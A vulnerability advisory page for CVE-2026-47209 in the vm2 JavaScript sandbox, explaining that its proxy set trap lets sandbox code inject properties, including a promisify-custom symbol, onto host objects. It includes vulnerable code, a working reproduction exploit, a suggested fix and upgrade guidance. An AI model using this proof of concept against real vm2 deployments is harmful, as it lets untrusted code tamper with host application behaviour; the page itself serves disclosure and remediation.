Loading...
Skip to main content

CVE-2026-47209

HIGH

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

Published May 29, 2026Updated June 12, 2026Source: osv

Summary

## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.4 or later
npm install vm2@3.11.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-693
    Protection Mechanism FailureMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Frequently Asked Questions

What is CVE-2026-47209?
vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.6/10).
How do I check if my project is affected by CVE-2026-47209?
CVE-2026-47209 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47209 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.6

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-c4cf-2hgv-2qv6

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies